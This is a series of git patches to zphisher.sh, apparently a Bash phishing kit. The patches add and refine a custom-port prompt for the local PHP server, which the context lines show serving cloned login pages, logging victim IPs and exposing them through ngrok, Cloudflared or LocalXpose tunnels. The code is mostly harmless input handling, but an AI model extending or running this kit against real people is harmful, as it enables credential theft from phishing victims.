From 6ea1afd4be1090edbf397e219a421e9e87806d6e Mon Sep 17 00:00:00 2001 From: "Mr.Derek" <74646789+E343IO@users.noreply.github.com> Date: Wed, 17 Aug 2022 20:57:32 +0530 Subject: [PATCH 1/5] Added CUSTOM PORT Feature --- zphisher.sh | 35 +++++++++++++++++++++++++++++++---- 1 file changed, 31 insertions(+), 4 deletions(-) diff --git a/zphisher.sh b/zphisher.sh index a70b967b..eb1227ca 100755 --- a/zphisher.sh +++ b/zphisher.sh @@ -355,14 +355,37 @@ about() { ## Setup website and start php server HOST='127.0.0.1' -PORT='8080' - +#DEFAULT PORT +PORT='8080' + +#COUSTOM PORT +cusport() { + echo "" + read -n1 -p "${RED}[${WHITE}?${RED}]${ORANGE} Do You Want A Coustom Port ${GREEN}[${CYAN}y${GREEN}/${CYAN}N${GREEN}]: ${ORANGE}" P_ANS + if [[ ${P_ANS} =~ ^([yY])$ ]]; then + printf "\n\n" + read -n4 -p "${RED}[${WHITE}-${RED}]${ORANGE} Enter Your Coustom 4-digit Port 1024-9999 : ${WHITE}" CU_P + if [[ ! -z ${CU_P,,} && "${CU_P}" =~ ^([1-9][0-9][0-9][0-9])$ ]]; then + PORT=${CU_P} + echo "" + else + echo -ne "\n${RED}[${WHITE}!${RED}]${RED} Invalid 4-digit Port, Try Again...${WHITE}" + { clear; banner; cusport; } + fi + elif [[ ${P_ANS} =~ ^([Nn])$ ]];then + echo -ne "\n\n${RED}[${WHITE}-${RED}]${BLUE} Using Default Port : $PORT...${WHITE}" + echo "" + else + echo -ne "\n${RED}[${WHITE}!${RED}]${RED} Invalid Option, Try Again...${WHITE}" + cusport + fi +} setup_site() { - echo -e "\n${RED}[${WHITE}-${RED}]${BLUE} Setting up server..."${WHITE} + echo -e "\n${RED}[${WHITE}-${RED}]${BLUE} Setting up server..."${WHITE} cp -rf .sites/"$website"/* .server/www cp -f .sites/ip.php .server/www/ echo -ne "\n${RED}[${WHITE}-${RED}]${BLUE} Starting PHP server..."${WHITE} - cd .server/www && php -S "$HOST":"$PORT" > /dev/null 2>&1 & + cd .server/www && php -S "$HOST":"$PORT" > /dev/null 2>&1 & } ## Get IP address @@ -407,6 +430,7 @@ capture_data() { ## Start ngrok start_ngrok() { + cusport echo -e "\n${RED}[${WHITE}-${RED}]${GREEN} Initializing... ${GREEN}( ${CYAN}http://$HOST:$PORT ${GREEN})" { sleep 1; setup_site; } echo -e "\n" @@ -431,6 +455,7 @@ start_ngrok() { ## Start Cloudflared start_cloudflared() { rm .cld.log > /dev/null 2>&1 & + cusport echo -e "\n${RED}[${WHITE}-${RED}]${GREEN} Initializing... ${GREEN}( ${CYAN}http://$HOST:$PORT ${GREEN})" { sleep 1; setup_site; } echo -ne "\n\n${RED}[${WHITE}-${RED}]${GREEN} Launching Cloudflared..." @@ -469,6 +494,7 @@ localxpose_auth() { ## Start LocalXpose (Again...) start_loclx() { + cusport echo -e "\n${RED}[${WHITE}-${RED}]${GREEN} Initializing... ${GREEN}( ${CYAN}http://$HOST:$PORT ${GREEN})" { sleep 1; setup_site; localxpose_auth; } echo -e "\n" @@ -491,6 +517,7 @@ start_loclx() { ## Start localhost start_localhost() { + cusport echo -e "\n${RED}[${WHITE}-${RED}]${GREEN} Initializing... ${GREEN}( ${CYAN}http://$HOST:$PORT ${GREEN})" setup_site { sleep 1; clear; banner_small; } From ee7a6e60bc8b3008b8eaba2349069f8c1a81e6b4 Mon Sep 17 00:00:00 2001 From: "Mr.Derek" <74646789+E343IO@users.noreply.github.com> Date: Wed, 17 Aug 2022 22:01:49 +0530 Subject: [PATCH 2/5] CU_PORT Minor changes in custom port --- zphisher.sh | 6 ++++-- 1 file changed, 4 insertions(+), 2 deletions(-) diff --git a/zphisher.sh b/zphisher.sh index eb1227ca..e7051e60 100755 --- a/zphisher.sh +++ b/zphisher.sh @@ -370,13 +370,15 @@ cusport() { echo "" else echo -ne "\n${RED}[${WHITE}!${RED}]${RED} Invalid 4-digit Port, Try Again...${WHITE}" - { clear; banner; cusport; } + sleep 3 + { clear; banner; cusport; } fi elif [[ ${P_ANS} =~ ^([Nn])$ ]];then echo -ne "\n\n${RED}[${WHITE}-${RED}]${BLUE} Using Default Port : $PORT...${WHITE}" echo "" else - echo -ne "\n${RED}[${WHITE}!${RED}]${RED} Invalid Option, Try Again...${WHITE}" + echo "" + echo -ne "\n${RED}[${WHITE}!${RED}]${RED} Invalid Option, Try Again...${WHITE}" cusport fi } From 33ced5e11cba482b79def84f86739e72f35221a0 Mon Sep 17 00:00:00 2001 From: "Mr.Derek" <74646789+E343IO@users.noreply.github.com> Date: Thu, 18 Aug 2022 10:28:39 +0530 Subject: [PATCH 3/5] Typos correction --- zphisher.sh | 7 +++---- 1 file changed, 3 insertions(+), 4 deletions(-) diff --git a/zphisher.sh b/zphisher.sh index e7051e60..2fcf2d05 100755 --- a/zphisher.sh +++ b/zphisher.sh @@ -364,14 +364,13 @@ cusport() { read -n1 -p "${RED}[${WHITE}?${RED}]${ORANGE} Do You Want A Coustom Port ${GREEN}[${CYAN}y${GREEN}/${CYAN}N${GREEN}]: ${ORANGE}" P_ANS if [[ ${P_ANS} =~ ^([yY])$ ]]; then printf "\n\n" - read -n4 -p "${RED}[${WHITE}-${RED}]${ORANGE} Enter Your Coustom 4-digit Port 1024-9999 : ${WHITE}" CU_P - if [[ ! -z ${CU_P,,} && "${CU_P}" =~ ^([1-9][0-9][0-9][0-9])$ ]]; then + read -n4 -p "${RED}[${WHITE}-${RED}]${ORANGE} Enter Your Custom 4-digit Port 1024-9999 : ${WHITE}" CU_P + if [[ ! -z ${CU_P} && "${CU_P}" =~ ^([1-9][0-9][0-9][0-9])$ ]]; then PORT=${CU_P} echo "" else echo -ne "\n${RED}[${WHITE}!${RED}]${RED} Invalid 4-digit Port, Try Again...${WHITE}" - sleep 3 - { clear; banner; cusport; } + { sleep 3; clear; banner; cusport; } fi elif [[ ${P_ANS} =~ ^([Nn])$ ]];then echo -ne "\n\n${RED}[${WHITE}-${RED}]${BLUE} Using Default Port : $PORT...${WHITE}" From 171ef7189b71316dc288b565175ca558eced5b9c Mon Sep 17 00:00:00 2001 From: "Mr.Derek" <74646789+E343IO@users.noreply.github.com> Date: Mon, 26 Sep 2022 05:27:00 +0530 Subject: [PATCH 4/5] Update zphisher.sh Minor changes, added minimum port value in condition --- zphisher.sh | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/zphisher.sh b/zphisher.sh index 2fcf2d05..63c1698c 100755 --- a/zphisher.sh +++ b/zphisher.sh @@ -365,7 +365,7 @@ cusport() { if [[ ${P_ANS} =~ ^([yY])$ ]]; then printf "\n\n" read -n4 -p "${RED}[${WHITE}-${RED}]${ORANGE} Enter Your Custom 4-digit Port 1024-9999 : ${WHITE}" CU_P - if [[ ! -z ${CU_P} && "${CU_P}" =~ ^([1-9][0-9][0-9][0-9])$ ]]; then + if [[ ! -z ${CU_P} && "${CU_P}" =~ ^([1-9][0-9][0-9][0-9])$ && ${CU_P} -ge 1024 ]]; then PORT=${CU_P} echo "" else From edb82681062f67182a7e5982a9505b3b69d5cd64 Mon Sep 17 00:00:00 2001 From: "Mr.Derek" <74646789+E343IO@users.noreply.github.com> Date: Mon, 26 Sep 2022 05:41:16 +0530 Subject: [PATCH 5/5] Update zphisher.sh Decrement in sleep by 1 sec & typos changes. --- zphisher.sh | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/zphisher.sh b/zphisher.sh index 63c1698c..86a0377d 100755 --- a/zphisher.sh +++ b/zphisher.sh @@ -369,8 +369,8 @@ cusport() { PORT=${CU_P} echo "" else - echo -ne "\n${RED}[${WHITE}!${RED}]${RED} Invalid 4-digit Port, Try Again...${WHITE}" - { sleep 3; clear; banner; cusport; } + echo -ne "\n\n${RED}[${WHITE}!${RED}]${RED} Invalid 4-digit Port : $CU_P, Try Again...${WHITE}" + { sleep 2; clear; banner; cusport; } fi elif [[ ${P_ANS} =~ ^([Nn])$ ]];then echo -ne "\n\n${RED}[${WHITE}-${RED}]${BLUE} Using Default Port : $PORT...${WHITE}"